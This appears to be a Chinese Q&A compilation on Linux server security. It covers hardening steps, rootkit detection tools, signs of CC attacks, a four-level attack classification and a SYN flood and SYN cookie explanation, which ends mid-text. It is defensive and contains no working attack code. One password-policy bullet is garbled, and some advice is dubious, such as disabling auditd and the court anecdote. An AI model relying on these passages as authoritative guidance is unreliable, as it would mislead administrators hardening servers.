如何攻擊linux伺服器TCP
A. 如何提高linux伺服器的安全策略
安全是IT行業一個老生常談的話題了,處理好信息安全問題已變得刻不容緩。做為運維人員,就必須了解一些安全運維准則,同時,要保護自己所負責的業務,首先要站在攻擊者的角度思考問題,修補任何潛在的威脅和漏洞。主要分五部分展開:賬戶和登錄安全賬戶安全是系統安全的第一道屏障,也是系統安全的核心,保障登錄賬戶的安全,在一定程度上可以提高伺服器的安全級別,下面重點介紹下Linux系統登錄賬戶的安全設置方法。
1、刪除特殊的賬戶和賬戶組 Linux提供了各種不同角色的系統賬號,在系統安裝完成後,默認會安裝很多不必要的用戶和用戶組,如果不需要某些用戶或者組,就要立即刪除它,因為賬戶越多,系統就越不安全,很可能被黑客利用,進而威脅到伺服器的安全。
Linux系統中可以刪除的默認用戶和組大致有如下這些:
可刪除的用戶,如adm,lp,sync,shutdown,halt,news,uucp,operator,games,gopher等。
可刪除的組,如adm,lp,news,uucp,games,dip,pppusers,popusers,slipusers等。
2、關閉系統不需要的服務Linux在安裝完成後,綁定了很多沒用的服務,這些服務默認都是自動啟動的。對於伺服器來說,運行的服務越多,系統就越不安全,越少服務在運行,安全性就越好,因此關閉一些不需要的服務,對系統安全有很大的幫助。具體哪些服務可以關閉,要根據伺服器的用途而定,一般情況下,只要系統本身用不到的服務都認為是不必要的服務。例如:某台Linux伺服器用於www應用,那麼除了httpd服務和系統運行是必須的服務外,其他服務都可以關閉。下面這些服務一般情況下是不需要的,可以選擇關閉: anacron、auditd、autofs、avahi-daemon、avahi-dnsconfd、bluetooth、cpuspeed、firstboot、gpm、haldaemon、hidd、ip6tables、ipsec、isdn、lpd、mcstrans、messagebus、netfs、nfs、nfslock、nscd、pcscd portmap、readahead_early、restorecond、rpcgssd、rpcidmapd、rstatd、sendmail、setroubleshoot、yppasswdd ypserv
3、密碼安全策略在Linux下,遠程登錄系統有兩種認證方式:密碼認證和密鑰認證。密碼認證方式是傳統的安全策略,對於密碼的設置,比較普遍的說法是:至少6個字元以上,密碼要包含數字、字母、下劃線、特殊符號等。設置一個相對復雜的密碼,對系統安全能起到一定的防護作用,但是也面臨一些其他問題,例如密碼暴力破解、密碼泄露、密碼丟失等,同時過於復雜的密碼對運維工作也會造成一定的負擔。密鑰認證是一種新型的認證方式,公用密鑰存儲在遠程伺服器上,專用密鑰保存在本地,當需要登錄系統時,通過本地專用密鑰和遠程伺服器的公用密鑰進行配對認證,如果認證成功,就成功登錄系統。這種認證方式避免了被暴力破解的危險,同時只要保存在本地的專用密鑰不被黑客盜用,攻擊者一般無法通過密鑰認證的方式進入系統。因此,在Linux下推薦用密鑰認證方式登錄系統,這樣就可以拋棄密碼認證登錄系統的弊端。Linux伺服器一般通過SecureCRT、putty、Xshell之類的工具進行遠程維護和管理,密鑰認證方式的實現就是藉助於SecureCRT軟體和Linux系統中的SSH服務實現的。
4、合理使用su、sudo命令su命令:是一個切換用戶的工具,經常用於將普通用戶切換到超級用戶下,當然也可以從超級用戶切換到普通用戶。為了保證伺服器的安全,幾乎所有伺服器都禁止了超級用戶直接登錄系統,而是通過普通用戶登錄系統,然後再通過su命令切換到超級用戶下,執行一些需要超級許可權的工作。通過su命令能夠給系統管理帶來一定的方便,但是也存在不安全的因素,例如:系統有10個普通用戶,每個用戶都需要執行一些有超級許可權的操作,就必須把超級用戶的密碼交給這10個普通用戶,如果這10個用戶都有超級許可權,通過超級許可權可以做任何事,那麼會在一定程度上對系統的安全造成了威協。因此su命令在很多人都需要參與的系統管理中,並不是最好的選擇,超級用戶密碼應該掌握在少數人手中,此時sudo命令就派上用場了。sudo命令:允許系統管理員分配給普通用戶一些合理的「權利」,並且不需要普通用戶知道超級用戶密碼,就能讓他們執行一些只有超級用戶或其他特許用戶才能完成的任務。比如:系統服務重啟、編輯系統配置文件等,通過這種方式不但能減少超級用戶登錄次數和管理時間,也提高了系統安全性。因此,sudo命令相對於許可權無限制性的su來說,還是比較安全的,所以sudo也被稱為受限制的su,另外sudo也是需要事先進行授權認證的,所以也被稱為授權認證的su。
sudo執行命令的流程是:將當前用戶切換到超級用戶下,或切換到指定的用戶下,然後以超級用戶或其指定切換到的用戶身份執行命令,執行完成後,直接退回到當前用戶,而這一切的完成要通過sudo的配置文件/etc/sudoers來進行授權。
sudo設計的宗旨是:賦予用戶盡可能少的許可權但仍允許它們完成自己的工作,這種設計兼顧了安全性和易用性,因此,強烈推薦通過sudo來管理系統賬號的安全,只允許普通用戶登錄系統,如果這些用戶需要特殊的許可權,就通過配置/etc/sudoers來完成,這也是多用戶系統下賬號安全管理的基本方式。
5、刪減系統登錄歡迎信息 系統的一些歡迎信息或版本信息,雖然能給系統管理者帶來一定的方便,但是這些信息有時候可能被黑客利用,成為攻擊伺服器的幫凶,為了保證系統的安全,可以修改或刪除某些系統文件,需要修改或刪除的文件有4個,分別是:/etc/issue、/etc/issue.net、/etc/redhat-release和/etc/motd。/etc/issue和/etc/issue.net文件都記錄了操作系統的名稱和版本號,當用戶通過本地終端或本地虛擬控制台等登錄系統時,/etc/issue的文件內容就會顯示,當用戶通過ssh或telnet等遠程登錄系統時,/etc/issue.net文件內容就會在登錄後顯示。在默認情況下/etc/issue.net文件的內容是不會在ssh登錄後顯示的,要顯示這個信息可以修改/etc/ssh/sshd_config文件,在此文件中添加如下內容即可:Banner /etc/issue.net其實這些登錄提示很明顯泄漏了系統信息,為了安全起見,建議將此文件中的內容刪除或修改。/etc/redhat-release文件也記錄了操作系統的名稱和版本號,為了安全起見,可以將此文件中的內容刪除/etc/motd文件是系統的公告信息。每次用戶登錄後,/etc/motd文件的內容就會顯示在用戶的終端。通過這個文件系統管理員可以發布一些軟體或硬體的升級、系統維護等通告信息,但是此文件的最大作用就、是可以發布一些警告信息,當黑客登錄系統後,會發現這些警告信息,進而產生一些震懾作用。看過國外的一個報道,黑客入侵了一個伺服器,而這個伺服器卻給出了歡迎登錄的信息,因此法院不做任何裁決。
遠程訪問和認證安全
1、遠程登錄取消telnet而採用SSH方式 telnet是一種古老的遠程登錄認證服務,它在網路上用明文傳送口令和數據,因此別有用心的人就會非常容易截獲這些口令和數據。而且,telnet服務程序的安全驗證方式也極其脆弱,攻擊者可以輕松將虛假信息傳送給伺服器。現在遠程登錄基本拋棄了telnet這種方式,而取而代之的是通過SSH服務遠程登錄伺服器。
2、合理使用Shell歷史命令記錄功能 在Linux下可通過history命令查看用戶所有的歷史操作記錄,同時shell命令操作記錄默認保存在用戶目錄下的.bash_history文件中,通過這個文件可以查詢shell命令的執行歷史,有助於運維人員進行系統審計和問題排查,同時,在伺服器遭受黑客攻擊後,也可以通過這個命令或文件查詢黑客登錄伺服器所執行的歷史命令操作,但是有時候黑客在入侵伺服器後為了毀滅痕跡,可能會刪除.bash_history文件,這就需要合理的保護或備份.bash_history文件。
3、啟用tcp_wrappers防火牆Tcp_Wrappers是一個用來分析TCP/IP封包的軟體,類似的IP封包軟體還有iptables。Linux默認都安裝了Tcp_Wrappers。作為一個安全的系統,Linux本身有兩層安全防火牆,通過IP過濾機制的iptables實現第一層防護。iptables防火牆通過直觀地監視系統的運行狀況,阻擋網路中的一些惡意攻擊,保護整個系統正常運行,免遭攻擊和破壞。如果通過了第一層防護,那麼下一層防護就是tcp_wrappers了。通過Tcp_Wrappers可以實現對系統中提供的某些服務的開放與關閉、允許和禁止,從而更有效地保證系統安全運行。
文件系統安全
1、鎖定系統重要文件系統運維人員有時候可能會遇到通過root用戶都不能修改或者刪除某個文件的情況,產生這種情況的大部分原因可能是這個文件被鎖定了。在Linux下鎖定文件的命令是chattr,通過這個命令可以修改ext2、ext3、ext4文件系統下文件屬性,但是這個命令必須有超級用戶root來執行。和這個命令對應的命令是lsattr,這個命令用來查詢文件屬性。對重要的文件進行加鎖,雖然能夠提高伺服器的安全性,但是也會帶來一些不便。例如:在軟體的安裝、升級時可能需要去掉有關目錄和文件的immutable屬性和append-only屬性,同時,對日誌文件設置了append-only屬性,可能會使日誌輪換(logrotate)無法進行。因此,在使用chattr命令前,需要結合伺服器的應用環境來權衡是否需要設置immutable屬性和append-only屬性。另外,雖然通過chattr命令修改文件屬性能夠提高文件系統的安全性,但是它並不適合所有的目錄。chattr命令不能保護/、/dev、/tmp、/var等目錄。根目錄不能有不可修改屬性,因為如果根目錄具有不可修改屬性,那麼系統根本無法工作:/dev在啟動時,syslog需要刪除並重新建立/dev/log套接字設備,如果設置了不可修改屬性,那麼可能出問題;/tmp目錄會有很多應用程序和系統程序需要在這個目錄下建立臨時文件,也不能設置不可修改屬性;/var是系統和程序的日誌目錄,如果設置為不可修改屬性,那麼系統寫日誌將無法進行,所以也不能通過chattr命令保護。
2、文件許可權檢查和修改不正確的許可權設置直接威脅著系統的安全,因此運維人員應該能及時發現這些不正確的許可權設置,並立刻修正,防患於未然。下面列舉幾種查找系統不安全許可權的方法。
(1)查找系統中任何用戶都有寫許可權的文件或目錄
查找文件:find / -type f -perm -2 -o -perm -20 |xargs ls -al查找目錄:find / -type d -perm -2 -o -perm -20 |xargs ls –ld
(2)查找系統中所有含「s」位的程序
find / -type f -perm -4000 -o -perm -2000 -print | xargs ls –al
含有「s」位許可權的程序對系統安全威脅很大,通過查找系統中所有具有「s」位許可權的程序,可以把某些不必要的「s」位程序去掉,這樣可以防止用戶濫用許可權或提升許可權的可能性。
(3)檢查系統中所有suid及sgid文件
find / -user root -perm -2000 -print -exec md5sum {} \;find / -user root -perm -4000 -print -exec md5sum {} \;
將檢查的結果保存到文件中,可在以後的系統檢查中作為參考。
(4)檢查系統中沒有屬主的文件
find / -nouser -o –nogroup
沒有屬主的孤兒文件比較危險,往往成為黑客利用的工具,因此找到這些文件後,要麼刪除掉,要麼修改文件的屬主,使其處於安全狀態。
3、/tmp、/var/tmp、/dev/shm安全設定在Linux系統中,主要有兩個目錄或分區用來存放臨時文件,分別是/tmp和/var/tmp。存儲臨時文件的目錄或分區有個共同點就是所有用戶可讀寫、可執行,這就為系統留下了安全隱患。攻擊者可以將病毒或者木馬腳本放到臨時文件的目錄下進行信息收集或偽裝,嚴重影響伺服器的安全,此時,如果修改臨時目錄的讀寫執行許可權,還有可能影響系統上應用程序的正常運行,因此,如果要兼顧兩者,就需要對這兩個目錄或分區就行特殊的設置。/dev/shm是Linux下的一個共享內存設備,在Linux啟動的時候系統默認會載入/dev/shm,被載入的/dev/shm使用的是tmpfs文件系統,而tmpfs是一個內存文件系統,存儲到tmpfs文件系統的數據會完全駐留在RAM中,這樣通過/dev/shm就可以直接操控系統內存,這將非常危險,因此如何保證/dev/shm安全也至關重要。對於/tmp的安全設置,需要看/tmp是一個獨立磁碟分區,還是一個根分區下的文件夾,如果/tmp是一個獨立的磁碟分區,那麼設置非常簡單,修改/etc/fstab文件中/tmp分區對應的掛載屬性,加上nosuid、noexec、nodev三個選項即可,修改後的/tmp分區掛載屬性類似如下:LABEL=/tmp /tmp ext3 rw,nosuid,noexec,nodev 0 0 其中,nosuid、noexec、nodev選項,表示不允許任何suid程序,並且在這個分區不能執行任何腳本等程序,並且不存在設備文件。在掛載屬性設置完成後,重新掛載/tmp分區,保證設置生效。對於/var/tmp,如果是獨立分區,安裝/tmp的設置方法是修改/etc/fstab文件即可;如果是/var分區下的一個目錄,那麼可以將/var/tmp目錄下所有數據移動到/tmp分區下,然後在/var下做一個指向/tmp的軟連接即可。也就是執行如下操作:
[root@server ~]# mv /var/tmp/* /tmp[root@server ~]# ln -s /tmp /var/tmp
如果/tmp是根目錄下的一個目錄,那麼設置稍微復雜,可以通過創建一個loopback文件系統來利用Linux內核的loopback特性將文件系統掛載到/tmp下,然後在掛載時指定限制載入選項即可。一個簡單的操作示例如下:
[root@server ~]# dd if=/dev/zero of=/dev/tmpfs bs=1M count=10000[root@server ~]# mke2fs -j /dev/tmpfs[root@server ~]# cp -av /tmp /tmp.old[root@server ~]# mount -o loop,noexec,nosuid,rw /dev/tmpfs /tmp[root@server ~]# chmod 1777 /tmp[root@server ~]# mv -f /tmp.old/* /tmp/[root@server ~]# rm -rf /tmp.old
最後,編輯/etc/fstab,添加如下內容,以便系統在啟動時自動載入loopback文件系統:
/dev/tmpfs /tmp ext3 loop,nosuid,noexec,rw 0 0
Linux後門入侵檢測工具rootkit是Linux平台下最常見的一種木馬後門工具,它主要通過替換系統文件來達到入侵和和隱蔽的目的,這種木馬比普通木馬後門更加危險和隱蔽,普通的檢測工具和檢查手段很難發現這種木馬。rootkit攻擊能力極強,對系統的危害很大,它通過一套工具來建立後門和隱藏行跡,從而讓攻擊者保住許可權,以使它在任何時候都可以使用root許可權登錄到系統。rootkit主要有兩種類型:文件級別和內核級別,下面分別進行簡單介紹。文件級別的rootkit一般是通過程序漏洞或者系統漏洞進入系統後,通過修改系統的重要文件來達到隱藏自己的目的。在系統遭受rootkit攻擊後,合法的文件被木馬程序替代,變成了外殼程序,而其內部是隱藏著的後門程序。通常容易被rootkit替換的系統程序有login、ls、ps、ifconfig、、find、netstat等,其中login程序是最經常被替換的,因為當訪問Linux時,無論是通過本地登錄還是遠程登錄,/bin/login程序都會運行,系統將通過/bin/login來收集並核對用戶的賬號和密碼,而rootkit就是利用這個程序的特點,使用一個帶有根許可權後門密碼的/bin/login來替換系統的/bin/login,這樣攻擊者通過輸入設定好的密碼就能輕松進入系統。此時,即使系統管理員修改root密碼或者清除root密碼,攻擊者還是一樣能通過root用戶登錄系統。攻擊者通常在進入Linux系統後,會進行一系列的攻擊動作,最常見的是安裝嗅探器收集本機或者網路中其他伺服器的重要數據。在默認情況下,Linux中也有一些系統文件會監控這些工具動作,例如ifconfig命令,所以,攻擊者為了避免被發現,會想方設法替換其他系統文件,常見的就是ls、ps、ifconfig、、find、netstat等。如果這些文件都被替換,那麼在系統層面就很難發現rootkit已經在系統中運行了。這就是文件級別的rootkit,對系統維護很大,目前最有效的防禦方法是定期對系統重要文件的完整性進行檢查,如果發現文件被修改或者被替換,那麼很可能系統已經遭受了rootkit入侵。檢查件完整性的工具很多,常見的有Tripwire、 aide等,可以通過這些工具定期檢查文件系統的完整性,以檢測系統是否被rootkit入侵。內核級rootkit是比文件級rootkit更高級的一種入侵方式,它可以使攻擊者獲得對系統底層的完全控制權,此時攻擊者可以修改系統內核,進而截獲運行程序向內核提交的命令,並將其重定向到入侵者所選擇的程序並運行此程序,也就是說,當用戶要運行程序A時,被入侵者修改過的內核會假裝執行A程序,而實際上卻執行了程序B。內核級rootkit主要依附在內核上,它並不對系統文件做任何修改,因此一般的檢測工具很難檢測到它的存在,這樣一旦系統內核被植入rootkit,攻擊者就可以對系統為所欲為而不被發現。目前對於內核級的rootkit還沒有很好的防禦工具,因此,做好系統安全防範就非常重要,將系統維持在最小許可權內工作,只要攻擊者不能獲取root許可權,就無法在內核中植入rootkit。
1、rootkit後門檢測工具chkrootkit chkrootkit是一個Linux系統下查找並檢測rootkit後門的工具,它的官方址:http://www.chkrootkit.org/。 chkrootkit沒有包含在官方的CentOS源中,因此要採取手動編譯的方法來安裝,不過這種安裝方法也更加安全。chkrootkit的使用比較簡單,直接執行chkrootkit命令即可自動開始檢測系統。下面是某個系統的檢測結果:
[root@server chkrootkit]# /usr/local/chkrootkit/chkrootkitChecking `ifconfig』… INFECTEDChecking `ls』… INFECTEDChecking `login』… INFECTEDChecking `netstat』… INFECTEDChecking `ps』… INFECTEDChecking `top』… INFECTEDChecking `sshd』… not infectedChecking `syslogd』… not tested
從輸出可以看出,此系統的ifconfig、ls、login、netstat、ps和top命令已經被感染。針對被感染rootkit的系統,最安全而有效的方法就是備份數據重新安裝系統。chkrootkit在檢查rootkit的過程中使用了部分系統命令,因此,如果伺服器被黑客入侵,那麼依賴的系統命令可能也已經被入侵者替換,此時chkrootkit的檢測結果將變得完全不可信。為了避免chkrootkit的這個問題,可以在伺服器對外開放前,事先將chkrootkit使用的系統命令進行備份,在需要的時候使用備份的原始系統命令讓chkrootkit對rootkit進行檢測。
2、rootkit後門檢測工具RKHunter RKHunter是一款專業的檢測系統是否感染rootkit的工具,它通過執行一系列的腳本來確認伺服器是否已經感染rootkit。在官方的資料中,RKHunter可以作的事情有:MD5校驗測試,檢測文件是否有改動
檢測rootkit使用的二進制和系統工具文件 檢測特洛伊木馬程序的特徵碼 檢測常用程序的文件屬性是否異常 檢測系統相關的測試 檢測隱藏文件 檢測可疑的核心模塊LKM 檢測系統已啟動的監聽埠
在Linux終端使用rkhunter來檢測,最大的好處在於每項的檢測結果都有不同的顏色顯示,如果是綠色的表示沒有問題,如果是紅色的,那就要引起關注了。另外,在執行檢測的過程中,在每個部分檢測完成後,需要以Enter鍵來繼續。如果要讓程序自動運行,可以執行如下命令:
[root@server ~]# /usr/local/bin/rkhunter –check –skip-keypress
同時,如果想讓檢測程序每天定時運行,那麼可以在/etc/crontab中加入如下內容:
30 09 * * * root /usr/local/bin/rkhunter –check –cronjob
這樣,rkhunter檢測程序就會在每天的9:30分運行一次。伺服器遭受攻擊後的處理過程安全總是相對的,再安全的伺服器也有可能遭受到攻擊。作為一個安全運維人員,要把握的原則是:盡量做好系統安全防護,修復所有已知的危險行為,同時,在系統遭受攻擊後能夠迅速有效地處理攻擊行為,最大限度地降低攻擊對系統產生的影響。
B. linux伺服器tcp連接數過大怎麼辦
不管是什麼系統的伺服器,客戶連接到伺服器的最明顯的看出來就是TCP的顯示。
一般分為兩種情況:
1.CC攻擊的表現情況
CC攻擊會造成訪問量增大,帶寬圖上的代表TCP訪問量(紅色)會忽然不正常的增高。CPU的佔用量增大,然後造成打開慢或者卡死的情況。
所以看到如果是TCP,突然增大的話,證明你的伺服器在遭受CC攻擊,可以聯系伺服器商,讓機房做下防禦策略。
2.如果TCP的連接量一直在一個區域一直很大的話,那檢查伺服器的資源,可能無法支撐訪問量,需要更大的資源,更高的配置支持。
C. 如何防禦針對Linux伺服器的攻擊
引:隨著Linux企業應用的擴展,有大量的網路伺服器使用Linux操作系統。Linux伺服器的安全性能受到越來越多的關注,這里根據Linux伺服器受到攻擊的深度以級別形式列出,並提出不同的解決方案。
隨著Linux企業應用的擴展,有大量的網路伺服器使用Linux操作系統。Linux伺服器的安全性能受到越來越多的關注,這里根據Linux伺服器受到攻擊的深度以級別形式列出,並提出不同的解決方案。
對Linux伺服器攻擊的定義是:攻擊是一種旨在妨礙、損害、削弱、破壞Linux伺服器安全的未授權行為。攻擊的范圍可以從服務拒絕直至完全危害和破壞Linux伺服器。對Linux伺服器攻擊有許多種類,本文從攻擊深度的角度說明,我們把攻擊分為四級。
攻擊級別一:服務拒絕攻擊(DoS)
由於DoS攻擊工具的泛濫,及所針對的協議層的缺陷短時無法改變的事實,DoS也就成為了流傳最廣、最難防範的攻擊方式。
服務拒絕攻擊包括分布式拒絕服務攻擊、反射式分布拒絕服務攻擊、DNS分布拒絕服務攻擊、FTP攻擊等。大多數服務拒絕攻擊導致相對低級的危險,即便是那些可能導致系統重啟的攻擊也僅僅是暫時性的問題。這類攻擊在很大程度上不同於那些想獲取網路控制的攻擊,一般不會對數據安全有影響,但是服務拒絕攻擊會持續很長一段時間,非常難纏。
到目前為止,沒有一個絕對的方法可以制止這類攻擊。但這並不表明我們就應束手就擒,除了強調個人主機加強保護不被利用的重要性外,加強對伺服器的管理是非常重要的一環。一定要安裝驗證軟體和過濾功能,檢驗該報文的源地址的真實地址。另外對於幾種服務拒絕可以採用以下措施:關閉不必要的服務、限制同時打開的Syn半連接數目、縮短Syn半連接的time out 時間、及時更新系統補丁。
攻擊級別二:本地用戶獲取了他們非授權的文件的讀寫許可權
本地用戶是指在本地網路的任一台機器上有口令、因而在某一驅動器上有一個目錄的用戶。本地用戶獲取到了他們非授權的文件的讀寫許可權的問題是否構成危險很大程度上要看被訪問文件的關鍵性。任何本地用戶隨意訪問臨時文件目錄(/tmp)都具有危險性,它能夠潛在地鋪設一條通向下一級別攻擊的路徑。
級別二的主要攻擊方法是:黑客誘騙合法用戶告知其機密信息或執行任務,有時黑客會假裝網路管理人員向用戶發送郵件,要求用戶給他系統升級的密碼。
由本地用戶啟動的攻擊幾乎都是從遠程登錄開始。對於Linux伺服器,最好的辦法是將所有shell賬號放置於一個單獨的機器上,也就是說,只在一台或多台分配有shell訪問的伺服器上接受注冊。這可以使日誌管理、訪問控制管理、釋放協議和其他潛在的安全問題管理更容易些。還應該將存放用戶cgI的系統區分出來。這些機器應該隔離在特定的網路區段,也就是說,根據網路的配置情況,它們應該被路由器或網路交換機包圍。其拓撲結構應該確保硬體地址欺騙也不能超出這個區段。
攻擊級別三:遠程用戶獲得特權文件的讀寫許可權
第三級別的攻擊能做到的不只是核實特定文件是否存在,而且還能讀寫這些文件。造成這種情況的原因是:Linux伺服器配置中出現這樣一些弱點:即遠程用戶無需有效賬號就可以在伺服器上執行有限數量的命令。
密碼攻擊法是第三級別中的主要攻擊法,損壞密碼是最常見的攻擊方法。密碼破解是用以描述在使用或不使用工具的情況下滲透網路、系統或資源以解鎖用密碼保護的資源的一個術語。用戶常常忽略他們的密碼,密碼政策很難得到實施。黑客有多種工具可以擊敗技術和社會所保護的密碼。主要包括:字典攻擊(Dictionary attack)、混合攻擊(Hybrid attack)、蠻力攻擊(Brute force attack)。一旦黑客擁有了用戶的密碼,他就有很多用戶的特權。密碼猜想是指手工進入普通密碼或通過編好程序的正本取得密碼。一些用戶選擇簡單的密碼—如生日、紀念日和配偶名字,卻並不遵循應使用字母、數字混合使用的規則。對黑客來說要猜出一串8個字生日數據不用花多長時間。
防範第三級別的攻擊的最好的防衛方法便是嚴格控制進入特權,即使用有效的密碼。
◆ 主要包括密碼應當遵循字母、數字、大小寫(因為Linux對大小寫是有區分)混合使用的規則。
◆ 使用象「#」或「%」或「"countbak"一詞,它後面添加「##」
攻擊級別四:遠程用戶獲得根許可權
第四攻擊級別是指那些決不應該發生的事發生了,這是致命的攻擊。表示攻擊者擁有Linux伺服器的根、超級用戶或管理員許可權,可以讀、寫並執行所有文件。換句話說,攻擊者具有對Linux伺服器的全部控制權,可以在任何時刻都能夠完全關閉甚至毀滅此網路。
攻擊級別四主要攻擊形式是TCP/IP連續偷竊,被動通道聽取和信息包攔截。TCP/IP連續偷竊,被動通道聽取和信息包攔截,是為進入網路收集重要信息的方法,不像拒絕服務攻擊,這些方法有更多類似偷竊的性質,比較隱蔽不易被發現。一次成功的TCP/IP攻擊能讓黑客阻攔兩個團體之間的交易,提供中間人襲擊的良好機會,然後黑客會在不被受害者注意的情況下控制一方或雙方的交易。通過被動竊聽,黑客會操縱和登記信息,把文件送達,也會從目標系統上所有可通過的通道找到可通過的致命要害。黑客會尋找聯機和密碼的結合點,認出申請合法的通道。信息包攔截是指在目標系統約束一個活躍的聽者程序以攔截和更改所有的或特別的信息的地址。信息可被改送到非法系統閱讀,然後不加改變地送回給黑客。
TCP/IP連續偷竊實際就是網路嗅探,注意如果您確信有人接了嗅探器到自己的網路上,可以去找一些進行驗證的工具。這種工具稱為時域反射計量器(Time Domain Reflectometer,TDR)。TDR對電磁波的傳播和變化進行測量。將一個TDR連接到網路上,能夠檢測到未授權的獲取網路數據的設備。不過很多中小公司沒有這種價格昂貴的工具。
對於防範嗅探器的攻擊最好的方法是:
1、安全的拓撲結構。嗅探器只能在當前網路段上進行數據捕獲。這就意味著,將網路分段工作進行得越細,嗅探器能夠收集的信息就越少。
2、會話加密。不用特別地擔心數據被嗅探,而是要想辦法使得嗅探器不認識嗅探到的數據。這種方法的優點是明顯的:即使攻擊者嗅探到了數據,這些數據對他也是沒有用的。
特別提示:應對攻擊的反擊措施
對於超過第二級別的攻擊您就要特別注意了。因為它們可以不斷的提升攻擊級別,以滲透Linux伺服器。此時,我們可以採取的反擊措施有:
◆ 首先備份重要的企業關鍵數據。
◆ 改變系統中所有口令,通知用戶找系統管理員得到新口令。
◆ 隔離該網路網段使攻擊行為僅出現在一個小范圍內。
◆ 允許行為繼續進行。如有可能,不要急於把攻擊者趕出系統,為下一步作準備。
◆ 記錄所有行為,收集證據。這些證據包括:系統登錄文件、應用登錄文件、AAA(Authentication、Authorization、 Accounting,認證、授權、計費)登錄文件,RADIUS(Remote Authentication Dial-In User Service) 登錄,網路單元登錄(Network Element Logs)、防火牆登錄、HIDS(Host-base IDS,基於主機的入侵檢測系統) 事件、NIDS(網路入侵檢測系統)事件、磁碟驅動器、隱含文件等。收集證據時要注意:在移動或拆卸任何設備之前都要拍照;在調查中要遵循兩人法則,在信息收集中要至少有兩個人,以防止篡改信息;應記錄所採取的所有步驟以及對配置設置的任何改變,要把這些記錄保存在安全的地方。檢查系統所有目錄的存取許可,檢測Permslist是否被修改過。
◆ 進行各種嘗試(使用網路的不同部分)以識別出攻擊源。
◆ 為了使用法律武器打擊犯罪行為,必須保留證據,而形成證據需要時間。為了做到這一點,必須忍受攻擊的沖擊(雖然可以制定一些安全措施來確保攻擊不損害網路)。對此情形,我們不但要採取一些法律手段,而且還要至少請一家有權威的安全公司協助阻止這種犯罪。這類操作的最重要特點就是取得犯罪的證據、並查找犯罪者的地址,提供所擁有的日誌。對於所搜集到的證據,應進行有效地保存。在開始時製作兩份,一個用於評估證據,另一個用於法律驗證。
◆ 找到系統漏洞後設法堵住漏洞,並進行自我攻擊測試。
網路安全已經不僅僅是技術問題,而是一個社會問題。企業應當提高對網路安全重視,如果一味地只依靠技術工具,那就會越來越被動;只有發揮社會和法律方面打擊網路犯罪,才能更加有效。我國對於打擊網路犯罪已經有了明確的司法解釋,遺憾的是大多數企業只重視技術環節的作用而忽略法律、社會因素,這也是本文的寫作目的。
D. 求基於TCP/IP協議的常見攻擊方法及其原理
SYN洪水攻擊 原理
SYN攻擊
本文介紹了4個概念
一:介紹SYN
二:什麼是SYN洪水攻擊
三:什麼是SYN cookie
四:什麼是SYN cookie防火牆
C=client(客戶器)
S=Server(伺服器)
FW=Firewall(防火牆)
一:介紹SYN
SYN cookie是一個防止SYN洪水攻擊技術。他由D. J. Bernstein和Eric Schenk發明。現在SYN COOKIE已經是linux內核的一部分了(我插一句
,默認的stat是no),但是在linux系統的執行過程中它只保護linux系統。我們這里只是說創建一個linux防火牆,他可以為整個網路和所有的網
絡操作系統提供SYN COOKIE保護你可以用這個防火牆來阻斷半開放式tcp連接,所以這個受保護的系統不會進入半開放狀態(TCP_SYN_RECV)。當
連接完全建立的時候,客戶機到伺服器的連接要通過防火牆來中轉完成。
二:什麼是SYN洪水攻擊?(來自CERT的警告)
當一個系統(我們叫他客戶端)嘗試和一個提供了服務的系統(伺服器)建立TCP連接,C和服務端會交換一系列報文。
這種連接技術廣泛的應用在各種TCP連接中,例如telnet,Web,email,等等。
首先是C發送一個SYN報文給服務端,然後這個服務端發送一個SYN-ACK包以回應C,接著,C就返回一個ACK包來實現一次完
整的TCP連接。就這樣,C到服務端的連接就建立了,這時C和服務端就可以互相交換數據了。下面是上文的圖片說明:)
Client Server
------ ------
SYN-------------------->
<--------------------SYN-ACK
ACK-------------------->
Client and server can now
send service-specific data
在S返回一個確認的SYN-ACK包的時候有個潛在的弊端,他可能不會接到C回應的ACK包。這個也就是所謂的半開放連接,S需要
耗費一定的數量的系統內存來等待這個未決的連接,雖然這個數量是受限的,但是惡意者可以通過創建很多的半開放式連接來發動SYN洪水攻擊 。
通過ip欺騙可以很容易的實現半開放連接。攻擊者發送SYN包給受害者系統,這個看起來是合法的,但事實上所謂的C根本不會回應這個 。
SYN-ACK報文,這意味著受害者將永遠不會接到ACK報文。
而此時,半開放連接將最終耗用受害者所有的系統資源,受害者將不能再接收任何其他的請求。通常等待ACK返回包有超時限制,所以半開放 。
連接將最終超時,而受害者系統也會自動修復。雖然這樣,但是在受害者系統修復之前,攻擊者可以很容易的一直發送虛假的SYN請求包來持續
攻擊。
在大多數情況下,受害者幾乎不能接受任何其他的請求,但是這種攻擊不會影響到已經存在的進站或者是出站連接。雖然這樣,受害者系統
還是可能耗盡系統資源,以導致其他種種問題。
攻擊系統的位置幾乎是不可確認的,因為SYN包中的源地址多數都是虛假的。當SYN包到達受害者系統的時候,沒有辦法找到他的真實地址
,因為在基於源地址的數據包傳輸中,源ip過濾是唯一可以驗證數據包源的方法。
三:什麼是SYN cookie?
SYN cookie就是用一個cookie來響應TCP SYN請求的TCP實現,根據上面的描述,在正常的TCP實現中,當S接收到一個SYN數據包,他返回
一個SYN-ACK包來應答,然後進入TCP-SYN-RECV(半開放連接)狀態來等待最後返回的ACK包。S用一個數據空間來描述所有未決的連接,
然而這個數據空間的大小是有限的,所以攻擊者將塞滿這個空間。
在TCP SYN COOKIE的執行過程中,當S接收到一個SYN包的時候,他返回一個SYN-ACK包,這個數據包的ACK序列號是經過加密的,也就
是說,它由源地址,埠源次序,目標地址,目標埠和一個加密種子計算得出。然後S釋放所有的狀態。如果一個ACK包從C返回,
S將重新計算它來判斷它是不是上個SYN-ACK的返回包。如果這樣,S就可以直接進入TCP連接狀態並打開連接。這樣,S就可以
避免守侯半開放連接了。
以上只是SYN COOKIE的基本思路,它在應用過程中仍然有許多技巧。請在前幾年的kernel郵件列表查看archive of discussions的相關詳細
內容。
4,什麼是SYN COOKIE 防火牆
SYN COOKIE 防火牆是SYN cookie的一個擴展,SYN cookie是建立在TCP堆棧上的,他為linux操作系統提供保護。SYN cookie防火牆是linux的
一大特色,你可以使用一個防火牆來保護你的網路以避免遭受SYN洪水攻擊。
下面是SYN cookie防火牆的原理
client firewall server
------ ---------- ------
1. SYN----------- - - - - - - - - - ->
2. <------------SYN-ACK(cookie)
3. ACK----------- - - - - - - - - - ->
4. - - - - - - -SYN--------------->
5. <- - - - - - - - - ------------SYN-ACK
6. - - - - - - -ACK--------------->
7. -----------> relay the ------->
<----------- connection <-------
1:一個SYN包從C發送到S
2:防火牆在這里扮演了S的角色來回應一個帶SYN cookie的SYN-ACK包給C
